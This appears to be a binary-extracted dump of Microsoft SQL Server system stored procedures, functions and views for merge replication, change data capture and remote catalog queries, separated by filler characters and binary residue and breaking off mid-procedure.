!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?`cB<S	OnA\0 K8-- Requires Certificate signature for catalog access
create procedure sys.sp_MSis_joinfilter_based_on_PK_UQ_constraints
	@pubid uniqueidentifier,
	@join_filter_id int,
	@dri_based bit = 0 output,
	@unique_constraint_based bit = 0 output
as
begin
	declare		@parent_nickname int
	declare		@child_nickname int
	declare		@parent_objid int
	declare		@child_objid int
	declare		@parent_column	sysname
	declare		@child_column	sysname
	declare		@parent_column_id	int
	declare		@child_column_id	int
	declare		@keycnt		int
	declare		@keyindex	int
	declare		@join_filterclause nvarchar(3000)
	declare		@retcode	smallint
	declare		@constid int
	declare		@join_unique int
	declare		@prev_constid int
	
	select @dri_based = 0, @unique_constraint_based = 0
		
	select @join_unique = join_unique_key, 
			@join_filterclause = join_filterclause,
			@parent_nickname = join_nickname,
			@child_nickname = art_nickname
	from dbo.sysmergesubsetfilters 
	where pubid = @pubid
	and @join_filter_id = join_filterid
	
	if @join_unique is null or @join_unique = 0
		return 0
		
	if @join_filterclause like '%<>%' or @join_filterclause like '%!=%'
		return 0
		
	select @parent_objid = objid from dbo.sysmergearticles where nickname = @parent_nickname
	select @child_objid = objid from dbo.sysmergearticles where nickname = @child_nickname
	
	select top 1 @constid = f.object_id, 
	       @keycnt = (select count(*) from sys.foreign_key_columns k 
						where k.constraint_object_id = f.object_id)
	from sys.foreign_keys f 
	where f.parent_object_id = @child_objid 
	and f.referenced_object_id = @parent_objid
	order by f.object_id
	
	while (@constid is not null)
	begin
	
		if ObjectProperty(@constid, 'CnstIsDisabled') = 1 
			goto GetNextFKConstraint
			
		if ObjectProperty(@constid, 'CnstIsNotRepl') = 1
			goto GetNextFKConstraint
			
		-- Loop over keys, and check whether they exist in the join filter clause.
		set @keyindex = 1
	
		while @keyindex <= @keycnt
		begin
			/* Get the column names */
	              
			select @child_column_id = parent_column_id, @parent_column_id = referenced_column_id 
			from sys.foreign_keys f, sys.foreign_key_columns k 
			where f.parent_object_id = @child_objid and 
					f.referenced_object_id = @parent_objid and 
					k.constraint_object_id = f.object_id and
					k.constraint_column_id = @keyindex

			select @child_column = name from sys.columns 
			where object_id = @child_objid
			and column_id = @child_column_id

			select @parent_column = name from sys.columns 
			where object_id = @parent_objid
			and column_id = @parent_column_id
	                      
			if sys.fn_MSisfilteredcolumn(@join_filterclause, @child_column, @child_objid) = 0
			begin
				goto GetNextFKConstraint
			end
					
			if sys.fn_MSisfilteredcolumn(@join_filterclause, @parent_column, @parent_objid) = 0
			begin
				goto GetNextFKConstraint
			end
					
			if exists (select * from sys.columns where object_id = @child_objid
						and name = @child_column and is_nullable = 1)
			begin
				goto GetNextFKConstraint
			end

			if exists (select * from sys.columns where object_id = @parent_objid
						and name = @parent_column and is_nullable = 1)
			begin
				goto GetNextFKConstraint
			end
					
			/* move on to the next key */
			set @keyindex = @keyindex + 1
		end

		select @dri_based = 1, @unique_constraint_based = 1
		break
		
GetNextFKConstraint:
	
		select @prev_constid = @constid
		select @constid = NULL
		
		select top 1 @constid = f.object_id, 
			@keycnt = (select count(*) from sys.foreign_key_columns k 
							where k.constraint_object_id = f.object_id)
		from sys.foreign_keys f 
		where f.parent_object_id = @child_objid 
		and f.referenced_object_id = @parent_objid
		and f.object_id > @prev_constid
		order by f.object_id
	end
	
	-- if we already know this is unique key based, just return.
	if @unique_constraint_based = 1
		return 0
		
	select top 1 @constid = object_id(constraint_name), @keycnt = count(*)
	       from sys.fn_MSconstraint_columns(@parent_objid)
	       where type in ('PK', 'UQ')
	group by object_id(constraint_name)
	order by object_id(constraint_name)
	
	while (@constid is not null)
	begin
	
		if ObjectProperty(@constid, 'CnstIsDisabled') = 1 
			goto GetNextUQConstraint
		
		-- Loop over keys, and check whether they exist in the join filter clause.
		set @keyindex = 1
	
		select @parent_column_id = -1
		
		while @keyindex <= @keycnt
		begin
			/* Get the column names */
	              
			select top 1 @parent_column_id = constraint_column_id 
			from sys.fn_MSconstraint_columns(@parent_objid)
			where object_id(constraint_name) = @constid
			and constraint_column_id > @parent_column_id
			order by constraint_column_id

			select @parent_column = name from sys.columns 
			where object_id = @parent_objid
			and column_id = @parent_column_id
				
			if sys.fn_MSisfilteredcolumn(@join_filterclause, @parent_column, @parent_objid) = 0
			begin
				goto GetNextUQConstraint
			end
									
			/* move on to the next key */
			set @keyindex = @keyindex + 1
		end

		select @unique_constraint_based = 1
		break
		
GetNextUQConstraint:
	
		select @prev_constid = @constid
		select @constid = NULL
		
		select top 1 @constid = object_id(constraint_name), @keycnt = count(*)
	       from sys.fn_MSconstraint_columns(@parent_objid)
	       where type in ('PK', 'UQ')
	       and object_id(constraint_name) > @prev_constid
		group by object_id(constraint_name)
		order by object_id(constraint_name)
		
	end
	
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`.d<$hA`0\D@ 8create procedure [sys].[sp_cdc_generate_wrapper_function_internal]  		
(														
	@closed_high_end_point  bit,
	@column_list            nvarchar(max),
	@update_flag_list		nvarchar(max)
)
with execute as 'dbo'
as
begin
	set nocount on

	declare @object_id int
			,@capture_instance sysname
			,@function_name nvarchar(145)
			,@mapping_option nvarchar(30)
			,@create_script nvarchar(max)
			,@supports_net_changes bit
			
	declare #hinstance cursor local fast_forward for
		select capture_instance, object_id 
		from  #capture_instances
		
	if (@closed_high_end_point = 1)
		set @mapping_option = N'largest less than or equal'
	else
		set @mapping_option = N'largest less than'

	open #hinstance
	fetch #hinstance into @capture_instance, @object_id

	while (@@fetch_status <> -1)
	begin
		-- Generate the script to create a wrapper for the all changes function
		set @function_name = N'fn_all_changes_' + @capture_instance
		exec sys.sp_cdc_create_change_enumeration_wrapper_function @capture_instance,
			@function_name, @mapping_option, @column_list, @update_flag_list, @create_script OUTPUT
		
		insert into #create_scripts values(@function_name, @create_script)
			
		-- If the capture instance supports net changes, create a wrapper for the
		-- net changes query function
		if exists (
			select capture_instance from cdc.change_tables
			where capture_instance = @capture_instance
			and supports_net_changes = 1 )
		begin	
			set @function_name = N'fn_net_changes_' + @capture_instance
			exec sys.sp_cdc_create_change_enumeration_wrapper_function @capture_instance,
				@function_name, @mapping_option, @column_list, @update_flag_list, @create_script OUTPUT
		
			insert into #create_scripts values(@function_name, @create_script)
		
		end
		
		fetch #hinstance into @capture_instance, @object_id
	end

	close #hinstance
	deallocate #hinstance
	
	return 0
end																
0@H@ 8create procedure sys.sp_MShelpmergeselectarticles
    @pubid uniqueidentifier,
    @compatibility_level int = 7000000
as
    --declare @nofilters              int
    --declare @haspartfilters         int
    --declare @injoinfilters          int
    --declare @grouppartfilterarticles int

    --set @nofilters = 1
    --set @haspartfilters = 2
    --set @injoinfilters = 4
    --set @grouppartfilterarticles = 8

    -- Note: Katmai uses different clsid than Yukon(90). We need to do the conversion as well.
    -- also removing returning the next_seed since in the 90 identity model next seed is derived seperately.
    select distinct a.name, o.name as source_object, SCHEMA_NAME(o.schema_id) as schema_name, a.artid, pre_creation_command, a.pubid, a.nickname,
        column_tracking, status,
        sys.fn_MSrepl_map_resolver_clsid(@compatibility_level, article_resolver, resolver_clsid) as resolver_clsid, 
        conflict_script, conflict_table,
        insert_proc, update_proc, select_proc, destination_object, missing_col_count, 
        missing_cols, c.name as guid_col, 
        article_resolver, resolver_info, subset_filterclause, 
        case when f2.artid is not NULl then 1 else 0 end as has_joins, 
        excluded_col_count, 
        excluded_cols, destination_owner, identity_support, 
        NULL as next_seed, a.range, a.threshold, 
        verify_resolver_signature, allow_interactive_resolver, fast_multicol_updateproc, check_permissions, 
        case 
            when (f1.artid is not NULL or f2.artid is not NULL)
            then (case when datalength(a.subset_filterclause) > 1 then (8|2|4) else (4) end)
            else (case when datalength(a.subset_filterclause) > 1 then (8|2) else (1) end) end
            as article_filter_category, 
        case when (f1.artid is not NULL or f2.artid is not NULL) then 1 else 0 end as has_relation_with_joinarticles,
        published_in_tran_pub, aw.logical_record_parent_nickname,
        aw.logical_record_level_conflict_detection, aw.logical_record_level_conflict_resolution,
        aw.partition_options, a.processing_order, a.upload_options, permissions(o.object_id) as permissions_bitmask, 
        a.delete_tracking, a.compensate_for_errors,
        a.pub_range, 
        sys.fn_GetArticleSchemaVersionGuid(a.artid, @pubid) as maxschemaguidforarticle, 
        a.stream_blob_columns, a.preserve_rowguidcol, a.schema_option
        from dbo.sysmergearticles a
            inner join dbo.sysmergepartitioninfo aw on a.artid = aw.artid and a.pubid = aw.pubid 
            inner join sys.objects o on o.object_id = a.objid
            left outer join sys.columns c on c.object_id = a.objid and c.is_rowguidcol = 1
            left outer join dbo.sysmergesubsetfilters f1 on a.pubid=f1.pubid and a.nickname=f1.art_nickname 
            left outer join dbo.sysmergesubsetfilters f2 on a.pubid=f2.pubid and a.nickname=f2.join_nickname 
        where a.pubid = @pubid
        order by a.processing_order, a.nickname
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<2YP0& 8create procedure sys.sp_MSget_publisher_rpc 
(
    @trigger_id int
    ,@connect_string nvarchar(2000) output
    ,@owner sysname = null
)
AS
BEGIN
    SET NOCOUNT ON
    declare @publisher sysname
                ,@publisher_db sysname
                ,@login sysname
                ,@password nvarchar(524)
                ,@security_mode int
                ,@object_id int
                ,@retcode int
                ,@islocalpublisher bit  -- 1 = local, 0 = remote

    --
    -- Make sure this proc is called from the trigger.
    -- Better to use object_id if owner name is passed in.
    --
    if trigger_nestlevel(@trigger_id) = 0
    begin
        raiserror(14126, 16, -1)
        return (1) -- current user does not have insert permission to underlying table
    end
    --
    -- Security check: the caller of this SP has to be one of the 
    -- predefined replication triggers defined in the db
    --
    if (@owner is null)
    begin
        if (@trigger_id not in (select object_id(object_name) 
                from dbo.MSreplication_objects
                where object_type = 'T'))
        begin
            raiserror(14126, 16, 4)
            return -1
        end
    end
    else
    begin
        if (@trigger_id not in (select object_id(quotename(@owner) + N'.' + quotename(object_name)) 
                from dbo.MSreplication_objects
                where object_type = 'T'))
        begin
            raiserror(14126, 16, 4)
            return -1
        end
    end
    --
    -- Get the security information
    --
    IF object_id('MSsubscription_properties' ,'U') is not NULL
    begin
        --
        -- MSsubscription_properties exists
        -- Check for the subscription
        --
        select @login = p.publisher_login,
                @password = p.publisher_password,
                @security_mode = p.publisher_security_mode,
                @publisher = o.publisher,
                @publisher_db = o.publisher_db
        from MSsubscription_properties p join MSreplication_objects o
            on (UPPER(p.publisher) = UPPER(o.publisher) 
                and p.publisher_db = o.publisher_db
                and p.publication = o.publication)
        where o.object_name = object_name(@trigger_id) 
        if (@security_mode is null or @security_mode = -1)
        begin
            --
            -- entry for the subscription does not exist
            -- or, sp_link_publication has not been called
            --
            raiserror(21079, 16, -1)
            return(1)
        end
    end
    else
    begin
        --
        -- MSsubscription_properties does not exist
        --
        raiserror(21079, 16, -1)
        return(1)
    end
    --
    -- if we have come this far - the subscription exists
    --
    select @islocalpublisher = case when (UPPER(@publisher) = UPPER(publishingservername())) then 1 else 0 end
    --
    -- Process based on security mode
    --
    if @security_mode = 2 -- 2 = use dbo.sysservers
    begin
        --
        -- we will be using linked/remote/local server entry
        -- send NULL connect_string - the trigger will just
        -- issue a RPC call to publisher
        --
        select @connect_string = null
    end
    else
    begin
        --
        -- we will be using specific login credential
        --
        if (@islocalpublisher = 1)
        begin
            --
            -- the publisher and subscriber are on the same server.
            -- OpenDataSource() fails to do loopback distributed RPC.
            -- We will override the settings of security mode = 0
            -- and send back a NULL connect string - a LOCAL Proc execution
            -- will occur.
            --
            select @connect_string = null
        end
        else
        begin
            --
            -- publisher and subscriber on different server
            --
            if @login is null
            begin
                --
                -- Cannot have null login
                --
                raiserror(21079, 16, -1)
                return(1)
            end
            --
            -- verify the password
            --
            EXEC @retcode = sys.sp_MSrepldecrypt @password OUTPUT
            IF @@error <> 0 OR @retcode <> 0
            begin
                --
                -- password verification failed
                --
                return 1
            end
            if @password is null
                select @password = N''
            --
            -- Names containing space in connection string is automatically enabled.
            -- [] and ' are not recoginized by opendatasource
            -- Note ';' in names in connection string will mess things up.
            --
            select @connect_string = 'SERVER=' + @publisher + ';UID=' + 
                    @login + ';PWD=' + @password + ';'
        end
    end
    --
    -- all done
    --
    return 0
END
0@ 8
create procedure sys.sp_MScreateretry 
as
    declare @tname sysname
    declare @pname sysname
    declare @tempname sysname
    declare @guid uniqueidentifier
    declare @guidstr varchar(40)
    declare @retcode smallint

    /*
    ** Check to see if current publication has permission
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1
   
    set @guid = newid()
    exec @retcode=sys.sp_MSguidtostr @guid, @guidstr out
    if @retcode<>0 or @@ERROR<>0 return (1)
    set @tempname = '##retry_' + @guidstr

    exec ('create table ' + @tempname + ' (tablenick int NOT NULL, rowguid uniqueidentifier ROWGUIDCOL default newid() not null, errcode int NOT NULL, errtext nvarchar(255) NULL, type tinyint NOT NULL)' )

    if (@@error <> 0)
        begin
        RAISERROR(15001, 16, -1, @tempname)
        return (1)
        end

    set  @tname = @tempname
    set @tempname = '##insert_' + @guidstr

    exec @retcode = sys.sp_MSmaketempinsertproc @tname, @tempname
    if  @@ERROR <>0 or @retcode<>0 return (1)

    select @pname = @tempname
    select @tname, @pname
    return (0)  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!f`
<p
H07@ 
8create procedure sys.sp_MSmark_expired_subscriptions as
begin
    declare @min_sentgen bigint
    declare @max_delgen bigint
    
    select top 1 @min_sentgen = isnull(sentgen,0) from dbo.sysmergesubscriptions
    where status = 1
    and cleanedup_unsent_changes = 0
    order by sentgen 
    
    if @min_sentgen is null
        return 0
    
    if exists (select * from #oldgens where gen > @min_sentgen)
    begin
    
        select top 1 @max_delgen = gen from #oldgens
        order by gen desc
        
        -- If this is not a leaf level subscriber, or alt sync partners are being used, make all the generations being cleaned up
        -- look like local generations in the temp table #oldgens
		if exists (select * from dbo.sysmergepublications where publisher_db = db_name() and UPPER(publisher) = UPPER (publishingservername()))
		or exists (select * from dbo.sysmergepublications where allow_synctoalternate = 1)
		begin
			update #oldgens set genstatus = 1
		end
    
        update dbo.sysmergesubscriptions set cleanedup_unsent_changes = 1
            -- , status = case when replica_version < 90 then 2 else status end
        from dbo.sysmergesubscriptions sms1 join 
        (
            select sms.subid 
            from #oldgens og join dbo.MSmerge_generation_partition_mappings gpm
            on og.gen = gpm.generation
            and og.gen > @min_sentgen
            and og.genstatus <> 2
            join dbo.sysmergesubscriptions sms
            on sms.partition_id = gpm.partition_id
            and sms.sentgen < og.gen
            join dbo.sysmergearticles sma on og.artnick = sma.nickname
            where sma.pubid = sms.pubid
            
            union all
            
            select sms.subid 
            from #oldgens og
            join dbo.sysmergesubscriptions sms
            on og.gen > @min_sentgen
            and og.genstatus <> 2
            and isnull(sms.partition_id,0) = 0
            and sms.sentgen < og.gen
            join dbo.sysmergearticles sma on og.artnick = sma.nickname
            where sma.pubid = sms.pubid
            
                            
            union all
            
            select sms.subid 
            from #oldgens og join dbo.MSmerge_generation_partition_mappings gpm
            on og.gen = gpm.generation
            and og.gen > @min_sentgen
            and og.genstatus <> 2
            and gpm.partition_id = -1
            join dbo.sysmergesubscriptions sms
            on sms.sentgen < og.gen
            join dbo.sysmergearticles sma on og.artnick = sma.nickname
            where sma.pubid = sms.pubid
            
            union all
            
            select sms.subid 
            from #oldgens og join dbo.MSmerge_generation_partition_mappings gpm
            on og.gen = gpm.generation
            and og.gen > @min_sentgen
            and og.genstatus <> 2
            join dbo.sysmergesubscriptions sms
            on sms.sentgen < og.gen
            and sms.partition_id = -1
            join dbo.sysmergearticles sma on og.artnick = sma.nickname
            where sma.pubid = sms.pubid
        ) as sms2
        
        on sms1.subid = sms2.subid
    end
    
    return 0
end
0<@ 8CREATE view sys.dm_hadr_name_id_map
as
	SELECT 
	*
	FROM OpenRowset(TABLE DM_HADR_NAME_ID_MAP)
0%FL 8create function sys.fn_remote_column_privileges(
	@server		sysname,
	@catalog	sysname = NULL,	
	@schema		sysname = NULL,
	@table		sysname = NULL,
	@name		sysname = NULL,
	@grantor	sysname = NULL,
	@grantee	sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_COLUMN_PRIVILEGES, @server, @catalog, @schema, @table, @name, @grantor, @grantee)
0 Z D8jhA2B0sd@ 8
create procedure sys.sp_MSdropretry (@tname sysname, @pname sysname)
as
    declare @retcode int
    declare @quotedtname nvarchar(258) -- max characters that quotename can return
    declare @quotedpname nvarchar(258)

    /*
    ** Check to see if current publication has permission
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1

    select @quotedtname = quotename(@tname)
    select @quotedpname = quotename(@pname)

    exec ('drop table ' + @quotedtname)
    if @@ERROR <> 0 return(1)
    exec ('drop procedure ' + @quotedpname)
    if @@ERROR <> 0 return(1)
    return (0)  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}
c
`	<	I&ǒ/0> 8create procedure sys.sp_MSdrop_snapshot_agent 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname
) 
AS
begin

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode    int
    DECLARE @job_id     binary(16)
    DECLARE @job_step_uid uniqueidentifier
    DECLARE @local_job  bit
    DECLARE @publisher_id smallint
    DECLARE @name       nvarchar(100)
    DECLARE @agent_id   int
    declare @no_of_agents int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_snapshot_agent', 'distribution')
        return (1)
    end

    /*
    ** Initializations
    */
    select @publisher_id = srvid from master.dbo.sysservers where
        UPPER(srvname) = UPPER(@publisher)

    -- if this is a merge publiction which is dynamically filtered and we have
    -- dynamic snapshot jobs we should delete the dynamic snapshot jobs as well 
    -- for this publication
    select @no_of_agents = count(*) from MSsnapshot_agents WHERE
        publisher_id = @publisher_id AND
        publisher_db = @publisher_db AND
        publication = @publication

    if @no_of_agents = 1
    begin
        SELECT @job_id = job_id, @job_step_uid = job_step_uid, @local_job = local_job, @name = name, @agent_id = id  FROM MSsnapshot_agents WHERE
            publisher_id = @publisher_id AND
            publisher_db = @publisher_db AND
            publication = @publication

        -- Delete Perfmon instance
        dbcc deleteinstance ("SQL Replication Snapshot", @name)

        -- Return if not exists
        IF @local_job IS NULL
            RETURN(0)

        BEGIN TRAN

        IF @local_job = 1
        BEGIN
            -- Don't drop the job for third party publications.
            if exists (select * from msdb..MSdistpublishers where 
                UPPER(name) = UPPER(@publisher) and
                thirdparty_flag = 0)
            begin                           
                IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
                BEGIN
                    -- Checks if job name was generated by replication
                    EXEC @retcode = sys.sp_MSissnapshotjobnamegenerated
                                        @publisher = @publisher,
                                        @publisher_db = @publisher_db,
                                        @publication = @publication,
                                        @job_id = @job_id
                    IF @@ERROR <> 0 
                        GOTO UNDO
                    
                    -- Only drop the job if the name was generated
                    IF @retcode = 0                
                    BEGIN
                        EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
                        										@job_step_uid = @job_step_uid
                        IF @@ERROR <> 0 or @retcode <> 0
                            GOTO UNDO
                    END
                END
            end
        END

        DELETE MSsnapshot_agents WHERE id = @agent_id
        IF @@ERROR <> 0 
            GOTO UNDO

        -- Remove history
        DELETE MSsnapshot_history WHERE agent_id = @agent_id
        IF @@ERROR <> 0 
            GOTO UNDO
            
        COMMIT TRAN
    END
    ELSE
    BEGIN
        -- this case can only happen if this is a merge publication and we have regular and
        -- dynamic snapshot agents for it.
        BEGIN TRAN

        declare agents_cursor CURSOR LOCAL FAST_FORWARD FOR select job_id, job_step_uid, local_job, name, id from MSsnapshot_agents where 
            publisher_id = @publisher_id and
            publisher_db = @publisher_db AND
            publication = @publication
        open agents_cursor
        fetch agents_cursor into @job_id, @job_step_uid, @local_job, @name, @agent_id
        while (@@fetch_status <> -1)
        begin
             -- Delete Perfmon instance
            dbcc deleteinstance ("SQL Replication Snapshot", @name)

            -- Return if not exists
            IF @local_job = 1
            begin
                -- ignore errors if the job does not exist
                if exists (select * from msdb.dbo.sysjobs where job_id = @job_id)
                begin
                    EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id, 
                    										@job_step_uid = @job_step_uid
                    IF @@ERROR <> 0 or @retcode <> 0
                        GOTO UNDO
                end
            end
            
            DELETE MSsnapshot_agents WHERE id = @agent_id
            IF @@ERROR <> 0 
                GOTO UNDO

            -- Remove history
            DELETE MSsnapshot_history WHERE agent_id = @agent_id
            IF @@ERROR <> 0 
                GOTO UNDO
                
            fetch agents_cursor into @job_id, @job_step_uid, @local_job, @name, @agent_id
        end
        close agents_cursor
        deallocate agents_cursor            
        COMMIT TRAN
    END
    RETURN(0)

UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`5	<)<10MOI@ 8create procedure sys.sp_MSenumretries
    (@tname nvarchar(126),
     @maxrows int,
     @tablenick int,
     @rowguid uniqueidentifier,
     @pubid uniqueidentifier = NULL)
as
    declare @tnstring nvarchar(12)
    declare @rgstring nvarchar(38)
    declare @retcode int
    declare @pubidstr varchar(38)
    declare @last_art_processing_order int
    declare @last_art_processing_order_str varchar(12)

    declare @quotedtname nvarchar(744) -- 386 * 2 + 2

    /*
    ** do permission checking
    */
